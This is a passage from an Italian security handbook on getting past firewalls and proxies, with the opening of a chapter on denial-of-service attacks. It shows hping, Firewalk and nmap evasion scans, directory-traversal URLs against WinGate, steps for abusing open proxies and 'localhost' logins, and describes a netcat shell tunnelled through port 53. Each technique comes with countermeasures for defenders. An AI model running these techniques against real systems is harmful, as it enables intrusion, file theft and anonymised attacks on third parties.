time=144.4 ms
```

Ora sappiamo che esiste una porta aperta, attraverso la quale possiamo raggiungere il nostro obiettivo, ma non abbiamo ancora idea di dove sia il firewall. Nel prossimo esempio, `hping` segnala la ricezione di un pacchetto ICMP unreachable di tipo 13 da 192.168.70.2. Come ricorderete dal Capitolo 2, i pacchetti ICMP di tipo 13 segnalano la presenza di un filtro amministrativo e vengono solitamente inviati da router con funzionalità di filtraggio dei pacchetti come IOS di Cisco:

```
[root]# hping2 192.168.0.2 -S -p 23 -n
HPING 192.168.0.2 (eth0 172.16.1.20): S set, 40 data bytes
ICMP Unreachable type 13 from 192.168.0.1
```

Possiamo essere praticamente certi che 192.168.70.2 sia il firewall: inoltre sappiamo che blocca esplicitamente la porta 23 verso il nostro obiettivo. In altre parole, se si tratta di un router Cisco, probabilmente all'interno del suo file di configurazione si trova una riga come la seguente:

```
access-list 101 deny tcp any any 23 ! telnet
```

Nel prossimo esempio, la ricezione di un pacchetto RST/ACK potrebbe significare due cose: (1) che il pacchetto ha superato il firewall e che l'host non è in ascolto sulla porta specificata, oppure (2) che il firewall ha respinto il pacchetto (come nel caso di applicazione della regola di scarto di Check Point):

```
[root]# hping2 192.168.0.2 -S -p 22 -n
HPING 192.168.0.2 (eth0 172.16.1.20): S set, 40 data bytes
60 bytes from 192.168.0.2: flags=RA seq=0 ttl=59 id=0 win=0 time=0.3 ms
```

Avendo in precedenza già ricevuto un pacchetto ICMP di tipo 13, possiamo dedurre che il firewall (192.168.70.2) ha consentito il passaggio del nostro pacchetto, ma che l'host non è in ascolto su quella porta.
Se il firewall che volete attraversare con la scansione è un Check Point, `hping` riporterà come indirizzo di IP di partenza quello dell'obiettivo, anche se il pacchetto viene effettivamente inviato dalla NIC esterna del firewall Check Point. Uno dei trucchi di Check Point è la sua capacità di rispondere al posto dei sistemi al suo interno, contraffacendo l'indirizzo del target insieme al messaggio. Quando si trova in queste condizioni su Internet, un hacker non è in grado di distinguere le due situazioni, perché non può vedere l'indirizzo MAC (che lo aiuterebbe a capire).
Infine, se il firewall blocca tutti i pacchetti destinati a una porta, il più delle volte non si riceverà niente in cambio:

```
[root]# hping 192.168.50.3 -S -p 22 -n
HPING 192.168.50.3 (eth0 192.168.50.3): S set, 40 data bytes
```

L'esito di hping può avere due significati: il pacchetto non è riuscito a raggiungere la propria destinazione e vaga per i cavi, oppure, più probabilmente, un dispositivo (probabilmente il firewall 192.168.70.2) ha scartato il pacchetto sulla base della propria ACL.

Contromisure alla trasmissione di pacchetti di dati raw

Prevenzione

Impedire un attacco hping è difficile. L'unica speranza è bloccare i messaggi ICMP di tipo 13 (come abbiamo visto nel paragrafo dedicato alla prevenzione delle scansioni con nmap).

Firewalk

Diffusione:	*3*
Semplicità:	*3*
Impatto:	*8*
Fattore di rischio:	*4*

Firewalk (http://www.packetfactory.net/projects/firewalk/) è un piccolo programma assai interessante, che, analogamente a uno scanner di porte, è in grado di scoprire quali porte sono aperte dal lato opposto di un firewall. Scritto da Mike Schiffman, noto anche come Route, e Dave Goldsmith, questo tool effettua la scansione di un host posto dietro a un firewall e restituisce le regole che consentono l'accesso alla macchina, senza mai effettivamente toccare il sistema target.
Per funzionare, Firewalk costruisce pacchetti impostando il TTL IP in modo che scada alla tappa successiva al firewall. Secondo la teoria, se il pacchetto riesce a superare il firewall e scade come previsto, viene generato un messaggio "ICMP TTL expired in transit" (TTL scaduto durante il tragitto). Se, invece, il pacchetto viene bloccato dalla ACL del firewall, e quindi scartato, non viene inviata alcuna risposta, oppure viene generato un pacchetto ICMP di tipo 13 ("admin prohibited filter"):

```
[root]# firewalk -pTCP -S135-140 10.22.3.1
192.168.1.1
Ramping up hopcounts to binding host...
probe:  1  TTL:  1  port 33434:  expired from [exposed.example.com]
probe:  2  TTL:  2  port 33434:  expired from [rtr.isp.net]
probe:  3  TTL:  3  port 33434:  Bound scan at 3 hops [rtr.isp.net]
port 135: open
port 136: open
port 137: open
port 138: open
port 139:  *
port 140: open
```

L'unico problema che abbiamo sperimentato con Firewalk è un certo grado di imprevedibilità, legata al fatto che alcuni firewall, accorgendosi che il pacchetto sta per scadere, restituiscono comunque un pacchetto ICMP TTL EXPIRED, sen-

za neppure verificare le proprie ACL. Di conseguenza, Firewalk ritiene aperte tutte le porte.

Contromisura a Firewalk

Prevenzione

Si potrebbero bloccare i pacchetti ICMP TTL EXPIRED a livello di interfaccia esterna, ma questo avrebbe un impatto negativo sulle sue prestazioni, in quanto i client "legittimi" non saprebbero più cosa accade delle loro connessioni.

Scansione delle porte di origine

I firewall a filtraggio di pacchetti tradizionali, come IOS di Cisco, hanno un solo grande difetto: non mantengono il loro stato. Per molti di voi questo appare ovvio, giusto? Ma riflettete un attimo: se il firewall non è in grado di mantenere il suo stato non può dirvi se la connessione è iniziata dentro o fuori da esso. In altre parole, non è in grado di controllare completamente alcune trasmissioni, quindi possiamo impostare la nostra porta di origine a una delle porte tipicamente consentite, come per esempio TCP 53 (trasferimenti della zona) e TCP 20 (dati FTP) ed effettuare la scansione del contenuto del sistema (o attaccarlo).
Per scoprire se un firewall può essere attraversato mediante la scansione della porta di origine 20 (per esempio, il canale dati FTP), è possibile utilizzare l'opzione `-g` di `nmap`:

```
nmap -sS -P0 -g 20 -p 139 10.1.1.1
```

Sarà necessario servirsi, in proposito, di SYN o della tecnica half-scan quando si stanno utilizzando le caratteristiche statiche della porta d'origine di `nmap`.

Se le porte risultano aperte, è probabile che sul vostro segmento ci sia un firewall vulnerabile. Per comprendere meglio la situazione, riportiamo di seguito uno schema del funzionamento di questo tipo di attacco.

Nel nostro scenario tipico, il firewall a filtraggio dei pacchetti deve mantenere aperte tutte le connessioni tra la porta di origine 20 e tutte le porte a numerazione elevata dei sistemi che si trovano sulla sua rete interna, per consentire al canale dati FTP di attraversare il firewall.

Le comunicazioni tra il client interno e il server FTP avvengono utilizzando la sua porta TCP 21 aperta.

Server FTP

Firewall a filtraggio di pacchetti

Client interno

Il server FTP apre una connessione al client FTP tra la porta TCP 20 e una porta a numerazione elevata del client per la trasmissione dei dati.

La scoperta che il firewall non mantiene lo stato delle sue connessioni può essere sfruttata per sferrare un attacco contro i sistemi vulnerabili che si trovano al di là di esso. Utilizzando uno strumento come Fpipe di Foundstone, è possibile impostare la porta di origine a 20 e attaccare a ripetizione il firewall.

Contromisura alla scansione delle porte di origine

Prevenzione

Le soluzioni a questa vulnerabilità sono semplici ma non tutte attraenti: dovrete disabilitare tutte le comunicazioni che richiedono più di una combinazione di porte (per esempio, l'FTP tradizionale), oppure passare a un firewall proxy che sia in grado di esercitare un controllo migliore sulle connessioni entranti e uscenti, o ancora ricorrere ad applicazioni di gestione del firewall come Passive FTP, che sono conformi alle regole stabilite dal firewall.

Filtraggio dei pacchetti

I firewall per il filtraggio dei pacchetti, come Firewall-1 di Check Point, Cisco PIX e IOS di Cisco (sì, IOS può essere anche impostato per essere un firewall), si servono di liste di controllo degli accessi, ACL (*Access Control List*), o di regole per stabilire se il traffico è autorizzato all'ingresso o all'uscita dalla rete interna. Nella maggior parte dei casi, queste ACL sono ben congegnate e difficilmente aggirabili, ma di tanto in tanto capita di incrociare un firewall con ACL alquanto permissive, che consentono ad alcuni pacchetti di passare indisturbati.

ACL permissive

Diffusione: 8
Semplicità: 2
Impatto: 2
Fattore di rischio: 4

Liste di controllo degli accessi a maglie larghe sono presenti su molti firewall, sicuramente troppi. Considerate, per esempio, il caso di un'organizzazione che voglia consentire al proprio ISP di effettuare trasferimenti di zona. Una ACL poco prudente potrebbe essere "Consenti qualsiasi attività proveniente dalla porta TCP 53", al contrario di quella rigorosa "Consenti le attività da parte del server DNS dell'ISP con porta di origine 53 e porta di destinazione 53". Il rischio legato a questi errori di configurazione può essere gravissimo, perché si permette a un hacker di effettuare una scansione dell'intera rete dall'esterno. La maggior parte di questi attacchi ha inizio con la scansione di un host protetto dal firewall utilizzando pacchetti in cui il numero della porta di partenza 53 (DNS) è contraffatto.

Contromisure per le ACL permissive

Prevenzione

Assicuratevi che le norme del vostro firewall stabiliscano chi si può connettere a cosa. Per esempio, se il vostro ISP richiede la possibilità di effettuare trasferimenti di zona, formulate le vostre regole in modo esplicito. Richiedete un indirizzo IP di partenza e fissate l'indirizzo IP di destinazione (quello del vostro server DNS interno) nel criterio di accesso che costruite.
Se utilizzate un firewall Check Point, la seguente regola consente di vincolare la porta di origine 53 (DNS) esclusivamente al DNS del vostro ISP. Per esempio, se l'indirizzo del DNS dell'ISP è 192.168.66.2 e quello del vostro DNS interno 172.30.140.1, i parametri sono quelli mostrati nella tabella seguente.

Sorgente	Destinazione	Servizio	Azione	Traccia
192.168.66.2	172.30.140.1	domain-tcp	Accept	Short

Violazione di Check Point

Diffusione: 8
Semplicità: 2
Impatto: 2
Fattore di rischio: 4

Check Point 3.0 e 4.0 prevedono alcune porte aperte di default. Le ricerche DNS (UDP 53), i trasferimenti di zona DNS (TCP 53) e RIP (UDP 520) sono consentiti a partire da qualsiasi host su qualsiasi host e non vengono registrati. Questo può rivelarsi estremamente interessante, una volta che si riuscisse a manomettere un sistema interno.

Abbiamo già visto quanto sia semplice identificare un firewall Check Point. Ora, sfruttando queste nuove informazioni, un hacker è praticamente in grado di aggirare le regole impostate per il firewall. Ma questo tipo di attacco ha un prerequisito fondamentale: per funzionare è necessario che l'hacker sia riuscito a manomettere un sistema dal lato opposto del firewall, o a far eseguire un trojan a un utente di un sistema back-end. In entrambi i casi, il risultato finale è con ogni probabilità l'attivazione su un sistema all'interno della vostra rete di un listener di `netcat` in grado di restituire all'esterno una shell, nella quale digitare comandi che vengono eseguiti localmente sul sistema remoto. Queste backdoor verranno descritte in maggiore dettaglio nel Capitolo 14, ma anticipiamo qualche informazione per mettere a fuoco il problema.
Come si vede nella figura seguente, Check Point consente il passaggio senza registrazione attraverso il firewall di pacchetti sulla porta TCP 53: se l'hacker riesce ad attivare un listener di `netcat` sulla porta 53 e a farsi restituire /bin/sh sulla propria macchina (anch'essa in ascolto sulla porta 53), in pratica è come se aprisse un buco nel firewall con un canale collegato al sistema manomesso.

In una finestra, l'aggressore utilizza netcat per collegarsi al sistema sul lato opposto del firewall sulla porta 53.

Aggressore

Firewall-1 Check Point

Sistema manomesso

Il sistema manomesso esegue un listener di netcat sulla porta 53, che risponde sempre sulla porta 53.

In un'altra finestra, netcat ascolta l'output proveniente sulla porta 53 dal sistema manomesso.

Contromisure alla violazione di Check Point

Prevenzione

A seconda delle vostre esigenze di configurazione, potreste decidere di disattivare parte del traffico consentito per default. Prestate attenzione, tuttavia, perché questo rimedio potrebbe impedire l'attraversamento del firewall da parte del traffico autorizzato. Per limitare l'accesso è sufficiente seguire i passaggi seguenti.

1. Dall'interfaccia per i criteri di sicurezza, selezionate *Policy/Properties*.
2. Disattivate la casella *Accept* per tutte le funzioni non strettamente necessarie: per esempio, molti siti non hanno motivo di consentire agli utenti

download da DNS. In questi casi è sufficiente disattivare l'opzione *Accept Domain Name Downloads*. La stessa tecnica permette di disattivare il traffico per RIP o ricerche su DNS.

3. Create una regola personalizzata che consenta esclusivamente il traffico DNS proveniente da un server DNS autorizzato (come già visto nelle contromisure per le "ACL permissive").

Tunneling di ICMP e UDP

Diffusione:	*2*
Semplicità:	*1*
Impatto:	*9*
Fattore di rischio:	*4*

Il tunneling (incapsulamento) di ICMP è la possibilità di "impacchettare" dati reali all'interno di un'intestazione ICMP. Sono vulnerabili a questo tipo di attacco molti router e firewall che consentono il passaggio senza controlli di pacchetti ICMP ECHO, ICMP ECHO REPLY e UDP. Come accade nel caso del DNS di Check Point, l'attacco basato sul tunneling di ICMP e UDP ha come prerequisito la disponibilità di un sistema compromesso dall'altra parte del firewall.
Jeremy Rauch e Mike Schiffman hanno messo in pratica il principio di incapsulamento realizzando gli strumenti necessari: `loki` (client) e `lokid` (server). Potete trovare l'articolo completo all'indirizzo `http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=49&a=6`. L'esecuzione del server `lokid` su un sistema posto dietro un firewall che consenta il passaggio di pacchetti ICMP ECHO e ECHO REPLY consente all'hacker di eseguire il client (`loki`), che maschera ogni comando all'interno di pacchetti ICMP ECHO destinati al server (`lokid`). A sua volta, `lokid` apre il pacchetto, esegue il comando al suo interno e riconfeziona l'output generato in pacchetti ICMP ECHO REPLY, che restituisce all'hacker. Questo espediente consente agli hacker di aggirare del tutto il firewall. Il principio di funzionamento e il relativo attacco saranno oggetto di approfondimento nel Capitolo 14.

Contromisure all'incapsulamento di ICMP e UDP

Prevenzione

Per impedire attacchi di questo tipo è possibile disattivare del tutto l'accesso via ICMP attraverso il firewall, oppure definire regole di controllo del traffico ICMP. Per esempio, la seguente ACL Cisco disattiva il traffico ICMP all'esterno della subnet 172.29.10.0 per esigenze amministrative:

```
access-list 101 permit icmp any 172.29.10.0 0.255.255.255 8  ! echo
access-list 101 permit icmp any 172.29.10.0 0.255.255.255 0  ! echo-reply
access-list 102 deny   ip   any any log  ! deny and log all else
```

Se il vostro ISP controlla la disponibilità dei sistemi protetti dal firewall utilizzando ping ICMP (pratica altamente sconsigliata), queste ACL faranno fallire la verifica. Chiedete al vostro ISP se utilizza ping ICMP per verificare i vostri sistemi.

Vulnerabilità dei proxy applicativi

Generalmente i punti deboli dei proxy applicativi sono pochi e ben nascosti. Una volta reso sicuro il firewall e implementate sul proxy regole robuste, sarà ben difficile superare un firewall proxy. Ma non temete: gli errori di configurazione sono tutt'altro che rari.

Hostname: localhost

Diffusione:	*4*
Semplicità:	*2*
Impatto:	*9*
Fattore di rischio:	*5*

Sui vecchi proxy UNIX era facile dimenticarsi di limitare l'accesso locale. Nonostante i vincoli di autenticazione per gli utenti che accedono a Internet, un utente interno poteva ottenere l'accesso in locale al firewall stesso. Ovviamente, per questo tipo di attacco è necessario conoscere una combinazione nome utente-password valida, ma vi sorprenderebbe sapere quanto sia facile a volte indovinarne una buona. Per verificare l'esposizione dei vostri firewall proxy a questo attacco potete seguire la procedura seguente. Quando ottenete la schermata di connessione seguente:

```
C:\> nc -v -n 192.168.51.129 23
(UNKNOWN) [192.168.51.129] 23 (?) open
Eagle Secure Gateway.
Hostname:
```

applicate la procedura elencata di seguito.

1. Digitate `localhost`.
2. Digitate una combinazione nome utente-password nota, o tentate di indovinarne una.
3. Se l'autenticazione ha esito positivo, avete accesso in locale al firewall.
4. Eseguite un overflow del buffer (per esempio con `rdist`) o un attacco analogo, per ottenere l'accesso come root.

Contromisure per hostname:localhost

Prevenzione

Il rimedio per questi errori di configurazione dipende ovviamente dallo specifico prodotto utilizzato come firewall. In generale, dovrebbe essere possibile definire una regola che limiti l'accesso a partire da un sito specifico. L'ideale sarebbe impedire i login come localhost, ma se questi sono necessari potreste utilizzare il programma TCP wrappers di Wieste Venema (`ftp://coast.cs.purdue.edu/pub/ tools/unix/netutils/tcp_wrappers/`) per stabilire in base all'indirizzo IP quali sono gli host che possono collegarsi.

Accesso non autenticato al proxy esterno

Diffusione:	*8*
Semplicità:	*8*
Impatto:	*4*
Fattore di rischio:	*7*

Questo scenario si presenta più frequentemente nel caso di firewall che utilizzano proxy "trasparenti", ma di tanto in tanto capita di incontrarlo. L'amministratore di un firewall si fa in quattro per rendere sicura la propria macchina e implementare regole di accesso rigorose, ma spesso dimentica di disattivare l'accesso verso l'esterno. I rischi sono due: un hacker potrebbe servirsi del vostro server proxy come trampolino per vagare su Internet anonimamente e attaccare altri server Web, oppure potrebbe ottenere l'accesso via Web all'intera Intranet. Ci siamo imbattuti in un firewall configurato in questo modo e siamo stati in grado di accedere alla Intranet della società.

Per verificare se il vostro firewall sia vulnerabile, potete modificare le impostazioni proxy del vostro browser in modo che puntino al firewall in questione. In Netscape, seguite la procedura elencata di seguito.

1. Selezionate *Edit/Preferences*.
2. Selezionate i sottorami *Advanced* e *Proxies*.
3. Selezionate l'opzione *Manual Proxy Configuration*.
4. Premete il pulsante *View*.
5. Aggiungete il firewall nella casella dell'indirizzo HTTP, specificando la porta su cui ascolta (di solito 80, 81, 8000 o 8080, ma non è detto: servitevi di `nmap` o uno strumento analogo per identificare la porta giusta).
6. Accedete con il browser a un sito Web e prestate attenzione a quanto accade sulla barra di stato.

Se nella barra di stato del browser viene riportato l'accesso al server proxy e la pagina Web viene aperta, con ogni probabilità avete scoperto un server proxy non autenticato.

A questo punto, se disponete dell'indirizzo IP di un sito Web interno (indipendentemente dal fatto che l'indirizzo sia instradabile o meno), potete provare ad accedervi nello stesso modo. Talvolta questo indirizzo è desumibile dal codice sorgente HTTP; infatti i progettisti Web hanno il vizio di inserire i nomi host e gli indirizzi IP negli HREF delle pagine Web.

Contromisure all'accesso non autenticato al proxy esterno

Prevenzione

Il rimedio per questo problema è disattivare l'accesso al proxy dall'interfaccia esterna del firewall. Il metodo adottato per disattivarlo dipende in larga misura dal produttore, quindi per ulteriori indicazioni dovrete contattare il fornitore del firewall.

La soluzione a livello di rete è bloccare il traffico in ingresso del proxy sui router esterni. A tal fine è sufficiente definire sui router alcune ACL rigide.

Vulnerabilità di WinGate

Di WinGate, un firewall proxy per Windows 95/NT molto popolare (`http://wingate.deerfield.com/wingate/`), sono ormai noti alcuni punti deboli, per la maggior parte derivanti da impostazioni password troppo "lassiste", tra cui la mancanza di autenticazione per telnet, SOCKS e Web. Nonostante sia possibile regolare l'accesso a questi servizi per utente (o per interfaccia), molti si limitano a installare il pacchetto così com'è, tralasciando la sicurezza per la fretta di metterlo in funzione. Sul sito di CyberArmy (`http://www.cpc-net.org/postnuke/modules.php?op=modload&name=Tools&file=proxies`) viene mantenuto un elenco non verificato di server WinGate.

Navigazione senza autenticazione

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*2*
Fattore di rischio:	*7*

Come accade per molti altri proxy configurati in modo errato, certe versioni di WinGate (in particolare la 2.1d per Windows) consentono a utenti esterni di navigare su Internet nel più completo anonimato. Si tratta di una possibilità fondamentale per gli hacker che puntano in particolare alle applicazioni presenti sul server Web, perché permette loro di operare riducendo al minimo il rischio di essere colti in flagrante. Un attacco Web trova solitamente il target indifeso, perché tutto il traffico viene incanalato sulla porta TCP 80 o cifrato sulla porta 443 (SSL). Per maggiori dettagli sull'hacking del Web, vi rimandiamo al Capitolo 15.
Per verificare se i vostri server WinGate sono vulnerabili seguite la procedura descritta di seguito.

1. Collegatevi a Internet con una connessione non filtrata (preferibilmente via telefono).
2. Modificate la configurazione del browser in modo che punti a un server proxy.
3. Specificate il server e la porta in questione.

Altrettanto vulnerabile nella configurazione predefinita è il proxy SOCKS (TCP 1080) non autenticato. Esattamente come accade nel caso di proxy Web (TCP 80) aperti, un hacker potrebbe riuscire a navigare in Internet "rimbalzando" su questi server e restando praticamente anonimo (specialmente se il logging è disattivato).

Contromisure alla navigazione senza autenticazione

Prevenzione

Per rimediare a questi inconvenienti con WinGate, è sufficiente limitare i binding di servizi specifici. La seguente procedura consente di stabilire dove vengono offerti i servizi proxy all'interno di un sistema multiserver.

1. Selezionate le proprietà di SOCKS o WWW Proxy Server.

2. Selezionate la scheda *Bindings*.
3. Attivate la casella *Connections Will Be Accepted On The Following Interface Only* (Accetta le connessioni solo sulla seguente interfaccia) e specificate l'indirizzo dell'interfaccia interna del vostro server WinGate.

Invito a nozze per l'hacker: telnet non autenticato

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*6*
Fattore di rischio:	*8*

Peggio della navigazione anonima del Web c'è sicuramente l'accesso non autenticato via telnet (uno dei numeri preferiti nel repertorio degli hacker). Collegandosi a telnet su un server WinGate configurato male, l'hacker può utilizzare le vostre macchine per nascondere le proprie tracce e attaccare in piena libertà.
Per identificare i server vulnerabili, adottate la procedura seguente.

1. Con telnet, cercate di collegarvi al server.
2. Se ricevete la risposta seguente, digitate il sito a cui collegarvi.

```
[root]# telnet 172.29.11.191
Trying 172.29.11.191...
Connected to 172.29.11.191.
Escape character is '^]'.
Wingate> 10.50.21.5
```

3. Se a questo punto vedete il prompt del nuovo sistema, significa che avete un server vulnerabile.

```
Connecting to host 10.50.21.5...Connected
SunOS 5.6
login:
```

Contromisure al telnet non autenticato

Prevenzione

Il rimedio per questo problema è simile a quello visto per la navigazione non autenticata: è sufficiente limitare i binding di servizi specifici all'interno di WinGate, utilizzando la seguente procedura (per sistemi multiserver).

1. Selezionate le proprietà del server telnet.
2. Selezionate la scheda *Bindings*.
3. Attivate la casella *Connections Will Be Accepted On The Following Interface Only* (Accetta le connessioni solo sulla seguente interfaccia) e specificate l'indirizzo dell'interfaccia interna del vostro server WinGate.

Consultazione di file

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*9*

L'impostazione predefinita di WinGate 3.0 consente di visualizzare i file presenti sul sistema attraverso la porta di gestione (8010). Per verificare se il vostro sistema è vulnerabile, eseguite i comandi seguenti:

```
http://192.168.51.101:8010/c:/
http://192.168.51.101:8010//
http://192.168.51.101:8010/..../
```

Se il sistema è vulnerabile, dovreste riuscire a consultare ogni file nella directory e spostarvi liberamente dentro e fuori dalle directory. Questo può rivelarsi pericoloso, perché alcune applicazioni conservano in chiaro i nomi utente e le password. Per esempio, se utilizzate Remotely Possible di Computer Associates o ControlIT per controllare da remoto i vostri server, i nomi utente e le password di autenticazione sono conservati in chiaro o nascosti con semplici procedimenti di cifratura (Capitolo 13).

Contromisure alla consultazione di file

Attualmente WinGate non prevede patch per la soluzione del problema della consultazione dei file. Per ulteriori informazioni su eventuali aggiornamenti disponibili, vi consigliamo di visitare il sito `http://www.deerfield.com`.

Capitolo 12

Denial of Service

Smurf, Fraggle, boink e teardrop. No, non siamo impazziti, sono semplicemente alcuni degli strumenti a disposizione degli hacker per seminare panico e devastazione su Internet. Attacchi di tipo DoS (*Denial of Service*), ossia rifiuto del servizio, costano alle aziende diversi milioni di euro ogni anno e rappresentano una seria minaccia a qualsiasi sistema o rete. I costi sono dovuti al tempo necessario per il ripristino, a mancati introiti e al lavoro fisicamente necessario per identificare e annullare questi attacchi. Fondamentalmente, un attacco DoS peggiora o impedisce del tutto il servizio a utenti, reti e sistemi legittimi. L'obiettivo di questi tipi di attacco è solitamente di natura ostile e le competenze richieste sono minime, poiché tutti gli strumenti necessari sono già pronti.
Nel corso degli anni sono stati sferrati numerosi attacchi DoS, inclusi quelli contro alcuni dei siti Web di maggior rilievo come Yahoo, eBay, Buy.com, CNN.com, E*TRADE, ZDNet e PANIX.com, che li hanno resi inagibili per un breve periodo di tempo. Questi attacchi sono stati immediatamente identificati come attacchi DDoS (DoS distribuito), in quanto la loro ferocia andava ben oltre il tipico attacco DoS. La rivelazione più preoccupante risiede nel fatto che la maggior parte di questi attacchi si è limitata a sfruttare alcuni difetti intrinseci dei protocolli di base di Internet (TCP/IP) e, in particolare, il modo in cui i sistemi gestivano le richieste di tipo SYN (questo significa che il problema risiede nella struttura fisica della rete). La situazione era aggravata dal fatto che l'hacker aveva contraffatto l'indirizzo di rete per mascherare la propria identità. Di conseguenza, in questi e in molti altri casi successivi, è stato difficile risalire al vero autore dell'attacco. Questo fatto ha significativamente colpito la comunità Internet, sottolineando quanto la Rete sia fragile; da quel momento, infatti, la gente si è resa conto di quanto fosse rischioso condurre attività commerciali nell'era dell'informazione.

Motivazioni di un attacco DoS

Nel corso di questo libro, abbiamo esaminato e illustrato molti degli strumenti e delle tecniche utilizzate dagli hacker per sovvertire la sicurezza dei sistemi target dell'attacco. Molte volte, è sufficiente la sicurezza intrinseca del sistema per frustrare le velleità di aggressione dei pirati meno dotati. Umiliato e impotente, come ultima risorsa l'hacker lancia un attacco DoS.
A parte la frustrazione, alcune persone possono provare risentimento verso qualcuno o qualcosa, per motivi personali o politici, e cercare di vendicarsi. Molti esperti

di sicurezza ritengono che attacchi di questo tipo siano destinati ad aumentare con la diffusione dei sistemi Windows di Microsoft. A causa della sua popolarità Windows è uno degli ambienti target preferiti da molti aggressori; inoltre, molti strumenti DoS presentano un'interfaccia estremamente intuitiva e richiedono competenze tecniche minime.
Anche se la maggior parte degli attacchi rientra nella casistica citata prima, in certi casi gli aggressori si trovano a dover portare un attacco DoS per manomettere un sistema vulnerabile. Come sa bene la maggior parte degli amministratori di sistemi Windows, per rendere effettive le modifiche, nella maggior parte dei casi è richiesto il riavvio della macchina. Quindi, una volta apportate a un sistema NT le modifiche che consentiranno l'accesso con diritti amministrativi, l'hacker potrebbe mandare in crash il sistema, obbligando l'amministratore a riavviarlo. Questo evento dovrebbe attirare l'attenzione sul server vulnerabile e, potenzialmente, sull'intruso; tuttavia la maggior parte degli amministratori sottovaluta il blocco del sistema e lo riavvia senza troppe preoccupazioni.
Chiaramente non possiamo pensare di descrivere ogni possibile motivazione alla base di attacchi DoS, ma è un fatto innegabile che il cyberspazio riproduce la vita reale. Alcuni malintenzionati si sentono elettrizzati dal senso di potere che un attacco DoS procura loro. Ironia della sorte, la maggior parte degli hacker più competenti detesta gli attacchi DoS e chi li attua.

Tipi di attacchi DoS

Sfortunatamente, gli attacchi DoS sono diventati lo strumento preferito dai cyberterroristi per mettere fuori uso i sistemi, da quando siamo entrati nel millennio dell'elettronica. In realtà, spesso è molto più facile compromettere il funzionamento di una rete o di un sistema, piuttosto che ottenerne l'accesso. Con l'avvento dei sistemi connessi in rete SCADA (*Supervisory Control and Data Acquisition*), l'esposizione agli attacchi DoS ha assunto proporzioni catastrofiche. Per chi non li conoscesse, i sistemi interconnessi SCADA sono utilizzati per gestire infrastrutture estese a un'intera nazione, per esempio la distribuzione dell'energia elettrica, dell'acqua e di altri beni di largo consumo.
I protocolli di rete come TCP/IP sono stati ideati per l'utilizzo in comunità aperte basate sulla fiducia reciproca, e le diverse implementazioni della versione 4 attuale del protocollo risentono di problemi intrinseci. Inoltre, molti sistemi operativi e dispositivi di rete presentano nella propria implementazione dello stack di rete difetti che ne indeboliscono la resistenza ad attacchi di tipo DoS. Abbiamo visto crollare diversi dispositivi per il controllo dei processi dotati di stack IP rudimentali, per effetto di una semplice redirezione ICMP con parametri non validi. Esistono molti strumenti che consentono di effettuare attacchi DoS, ma è importante riuscire a identificare quali siano i tipi di attacco a cui si è più esposti e comprendere come individuarli e prevenirli. Per prima cosa, faremo una panoramica sui quattro tipi fondamentali di attacchi DoS.

Esaurimento della larghezza di banda

Le forme più insidiose di attacchi DoS si basano sull'esaurimento della larghezza di banda (*bandwidth consumption*). Fondamentalmente, l'hacker cercherà di consumare l'intera larghezza di banda a disposizione di una certa rete. Nonostante questo

tipo di attacco sia possibile anche su una rete locale, il più delle volte gli hacker cercheranno di esaurire le risorse da remoto. Esistono due scenari principali per questo tipo di attacco.

Scenario I

L'hacker è in grado di ingolfare la connessione di rete della sua vittima, perché ha a disposizione una larghezza di banda superiore. Un esempio tipico è l'attacco da una connessione T1 (1,544 Mbps), o più veloce, a un collegamento a 56 Kbps o 128 Kbps. Proprio come nello scontro tra un TIR e un'utilitaria, ha la meglio il veicolo più grande, in questo caso il canale con portata maggiore. Questo tipo di attacco non è limitato alle connessioni di rete a bassa velocità. Abbiamo visto casi in cui gli hacker sono riusciti ad accedere a reti con più di 100 Mbps a disposizione, che hanno permesso loro di lanciare attacchi DoS contro siti dotati di connessioni T1, saturandone completamente il collegamento in rete.

Scenario 2

L'hacker *amplifica* il proprio attacco DoS, impegnando diversi siti nell'operazione di intasamento della connessione in rete della vittima. Una persona con una misera connessione a 56 Kbps è in grado di saturare completamente una rete che dispone di un accesso T3 (45 Mbps). Come? Utilizzando altri siti per *amplificare* l'attacco, è facile mettere insieme 100 Mbps di larghezza di banda: il trucco consiste nel riuscire a convincere i sistemi di amplificazione a inviare traffico alla rete della vittima. Come vedremo più avanti nel capitolo, utilizzare tecniche di amplificazione non è poi così difficile. Ribadiamo inoltre che il traffico ICMP è pericoloso. Se da un lato ICMP ha una fondamentale funzione diagnostica, dall'altro è fin troppo facile abusarne e farne un "proiettile" per attacchi di questo tipo. Un'aggravante degli attacchi con esaurimento della banda, è che la maggior parte degli hacker tende a contraffare il proprio indirizzo di partenza, rendendo difficile l'identificazione dell'effettivo responsabile.

Esaurimento delle risorse

Gli attacchi con esaurimento delle risorse (*resource starvation*) si differenziano da quelli con esaurimento della larghezza di banda, in quanto puntano al consumo delle risorse di sistema invece che di rete. In generale, questo si traduce nell'impiego di risorse, come cicli della CPU, memoria, quote del file system, o altri processi di sistema. Spesso, gli hacker dispongono di un accesso "lecito" solo a una porzione limitata delle risorse di sistema, ma riescono comunque ad abusarne in modo da consumare ulteriori risorse; in questo modo il sistema o gli utenti legittimi sono privati delle risorse condivise. Generalmente, gli attacchi DoS lasciano le risorse inutilizzabili perché il sistema va in crash, il file system si riempie e si arrestano alcuni processi.

Difetti di programmazione

I difetti di programmazione impediscono a un'applicazione, sistema operativo o chip logico integrato, di gestire condizioni eccezionali. Questi difetti normalmente si verificano quando un utente invia dati non previsti all'elemento vulnerabile. Spesso l'hacker invia al sistema target strani pacchetti non conformi alle RFC, per stabilire se lo stack di rete sia in grado di gestire tale eccezione o se, piuttosto, questa non generi il "panico" nel kernel, con conseguente crash del sistema. Nel caso di

particolari applicazioni che si aspettano input da parte dell'utente, l'hacker può inviare stringhe di dati lunghe migliaia di righe. Se il programma utilizza un buffer a lunghezza fissa, per esempio 128 byte, questo può provocare un overflow del buffer e mandare in crash l'applicazione, con l'aggravante che l'hacker potrebbe eseguire comandi privilegiati (si vedano i Capitoli 5 e 7). Si conoscono diversi casi di difetti di programmazione anche nei chip logici integrati. Il tristemente noto attacco f00f ai Pentium consentiva a un processo utente di bloccare qualsiasi sistema operativo eseguendo l'istruzione non valida 0xf00fc7c8.
Tutti sanno che un programma e un processore, privi di errori, sono impensabili. Anche gli hacker se ne rendono conto e sfruttano a fondo il blocco di applicazioni critiche o sistemi essenziali. Sfortunatamente, attacchi di questo tipo si verificano sempre nel momento sbagliato.

